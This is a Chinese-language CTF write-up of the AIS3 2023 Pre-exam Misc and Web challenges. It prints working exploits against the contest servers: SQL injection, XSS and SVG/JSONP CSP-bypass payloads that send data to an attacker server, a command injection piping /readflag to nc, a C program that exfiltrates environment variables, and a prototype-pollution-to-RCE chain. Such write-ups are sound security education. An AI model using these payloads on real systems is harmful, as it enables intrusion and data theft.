[心得] AIS3 2023 Pre-exam WriteUp
[TOC]
## 成績
![Score](https://img.stoneapp.tech/t510599/ais3-2023/pre-exam/Score.png)
看[完整 Profile](https://img.stoneapp.tech/t510599/ais3-2023/pre-exam/Profile.png)
很長的 [ScoreBoard](https://img.stoneapp.tech/t510599/ais3-2023/pre-exam/Scoreboard.png)
## 前言
一樣沒空打 QQ
今年我的身分認同是 Web + Misc Player 其他類別連動都不動 (X
## Misc
### Welcome
視力 -100%
flag: `AIS3{WELC0ME-TO-AIS3-PRE-EXAM-&-MY-FIRST-CTF}`
### Robot
> 逼波逼 機油...好難喝... :robot_face:
有藏惡意 payload 搞 手輸就沒事
flag: `AIS3{don't_eval_unknown_code_or_pipe_curl_to_sh}`
### Media Server
透過自定義 HTTP method 可以讓 SimpleHTTPServer call 相對應的 `do_<method>()`
將 method 設為 `media` 即可繞過 regex 檢查作 LFI
先讀 `/proc/self/maps` 看 memory layout
再到可能的 address 去找 `secret_path` 變數的內容
address 可透過 `Range` header 來指定 (curl `-r`)
read memory payload:
`curl -X "media" --path-as-is "http://chals1.ais3.org:25519/../proc/self/mem" -v -o media.bin -r 140535097032704-140535097696256`
![](https://hackmd.io/_uploads/rJ9x20mS2.png)
不過在還沒找到 path 的時候 就先找到 flag 了
這題意外的拿到首殺 ~~但感覺其實是有人在屯 flag~~
flag: `AIS3{arbitrary_memory_read_as_a_service}`
### Chroot Checker Easy
可以簡單做 symlink 來將 `/tmp/xxx/flag` 指到 `/app/flag`
這樣後面判斷式自然成立
可以用 busybox 來做
`./busybox ln -s /app/flag /flag`
flag: `AIS3{bu3yb0x-byp4ss-chr0ot-soft-l1nk}`
### Chroot Checker Hard
stdin stdout stderr 都被關掉了
不過可以寫個簡單的 socket program 把想要的 output 打回來
```clike!
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
extern char **environ;
int main() {
struct sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(40005);
server_addr.sin_addr.s_addr = inet_addr("<ip>");
int sockfd;
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
return 1;
}
if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
return 1;
}
for (char **env = environ; *env; ++env) {
char msg[2048] = {0};
sprintf(msg, "%s\n", *env);
send(sockfd, msg, strlen(msg)+1, 0);
}
close(sockfd);
return 0;
}
```
![](https://hackmd.io/_uploads/HJdw00Xrn.png)
得知 `PWD` 這個 env 可以找到現在的目錄位置 進而推測 flag 路徑
用 c syscall 做 symlink
```clike!
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
int main(){
char* pwd = getenv("PWD");
char buf[2048] = {0};
sprintf(buf, "%s%s", pwd, "/flag");
const char *newpath = "/flag";
return symlink(buf, newpath);
}
```
flag: `AIS3{w0w_u_4r3_such_4_cHr007_m4st3r_!!!!}`
## Web
### Login Panel
username 需與 SELECT 出的結果相同 所以轉而注 password
username: `admin`
password: `' OR password LIKE '%' /*`
登入後 session 就設好了 `/2fa` 唬人的 直接去 `/dashboard` 就好
flag: `AIS3{' UNION SELECT 1, 1, 1, 1 WHERE ({condition})--}`
### E-Portfolio baby
樸實無華的 XSS
```html
<code id=code>
(async function() {
let res = await fetch(`/api/portfolio`);
let text = await res.text();
location.href = `https://<server>/?ais3=${btoa(text)}`;
})();
</code>
<img src=x onerror=eval(document.querySelector("#code").innerHTML) />
```
flag: `AIS3{<img src=x onerror='fetch(...}`
### markToFiles
後端沒檢查 `exportType` 開心怎麼設就設啥
![](https://hackmd.io/_uploads/S1GKMJEr3.png)
內容設為 `![img](/flag)` exportType 設成 `epub`
即可在輸出的 epub 檔中找到 flag
![](https://hackmd.io/_uploads/r1aTf14S3.png)
*(file0 就是 flag)*
flag: `AIS3{R3@d1ng_D0cum3nt_1s_H31pfu1}`
### Gitly
![](https://hackmd.io/_uploads/r10A7k4B3.png)
透過 `repo.git()` 一堆地方都可以 command injection
挑個順眼的用: 在 repo 看 raw file 的 route
`/:path...` 還會把 payload 中的 `/` 自動幫我補回去 讚
![](https://hackmd.io/_uploads/ByfrNk4rh.png)
payload:
`http://chals1.ais3.org:25565/admin/gitly/raw/123/$(/readflag%20|%20nc%20<ip>:<port>)`
flag: `AIS3{so_many_bugs_so_easy_to_rce}`
### E-Portfolio
session cookie 有 SameSite=Strict 所以 payload 需要放在題目的 domain 底下
但 DOMPurify 繞不過去 轉而觀察可上傳的檔案 其中 svg 在**直接瀏覽**時會執行其中的 `<script>`
可以透過 svg 加入 `<script type="text/javascript">` 但要繞 CSP 不能直接跑 js code (沒有 nonce)
透過 csp-evaluator 發現可以利用 `*.google.com` 的 JSONP
![](https://hackmd.io/_uploads/B1OqJxNH2.png)
參考 [zigoo0/JSONBee](https://github.com/zigoo0/JSONBee)
最後使用 `https://accounts.google.com/o/oauth2/revoke?callback=<code>`
payload:
```svg!
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript" xlink:href="https://accounts.google.com/o/oauth2/revoke?callback=(async%20function(){res=await%20fetch(`/api/portfolio`);data=await%20res.json();location.href=`<server>/?flag=${data.data.password}`;})" />
</svg>
```
![](https://hackmd.io/_uploads/SkmDgxNS2.png)
將圖片上傳後 用開發人員工具覆蓋 `onReport()` 以 report 上傳的 payload
-> [Share your portfolio with admin]
flag: `AIS3{<script href="https://accounts.google.com/o/oauth2/revoke?callback=fetch('/api/portfolio');"></script>}`
### markToFiles-Revenge
`app.js`
```javascript=21
const content = req.body.comment
const exportType = req.body.options
const title = req.body.title
const hash = content.substring(0, 10)
if (!(exportType in OutputFormat)) {
return res.json({message: 'format not found'})
}
if (/\.\./.test(title) || /[^a-zA-Z0-9._();'"-]/.test(title)) {
return res.json({
message: 'h@ck3r found!',
})
}
if (cache[exportType][hash] === undefined) {
cache[exportType][hash] = req.body.title
```
多了 `exportType` 跟 `title` 的檢查 其中 L36 可以做 Prototype Pollution
`@hackmd/pandoc.js`
```javascript=187
Pandoc.prototype.convertFromFile = function(input, to, output, args, options) {
if (args === void 0) { args = []; }
return this.promisifyStream(child_process_1.spawn(
this.defaultOptions.pandocBin, [
input,
'-t', to,
'-o', output
].concat(args), options)
);
};
```
而 `@hackmd/pandoc.js` 中是透過 `this.defaultOptions.pandocBin` 來儲存 pandoc 的路徑
覆蓋掉他就能做 RCE -> 目標 `Object.__proto__.pandocBin`
comment 的前十字元 (`hash`) 可用於控制想覆蓋的值的名稱
L25 是透過 in operator 來做檢查 參考 MDN:
> The in operator tests if a string or symbol property is present in an object or its prototype chain.
`__proto__` 自然也會通過 L25 的檢查
原先想將其直接覆蓋成 `/readflag` 但無法通過 L29 的檢查 (有 `/`)
後來選擇直接蓋成 `node` 因內容會先被寫到檔案中 再將檔名作為 command arg 給 `pandocBin`
這樣就能把內容作為程式碼給 node.js 跑
payload:
- comment: `pandocBin`
- options: `__proto__`
- title: `node`
另外再隨便轉換一次 內容設成 node.js 的 reverse shell 即可
flag: `AIS3{Pr0t0typ3_P0llut10n_R3v3ng3!!!!!}`
## 後記
第一次 Web 破台 咖波扭動.gif
2023-05-27 01:27:48
留言
Last fetch: --:--
現在還沒有留言!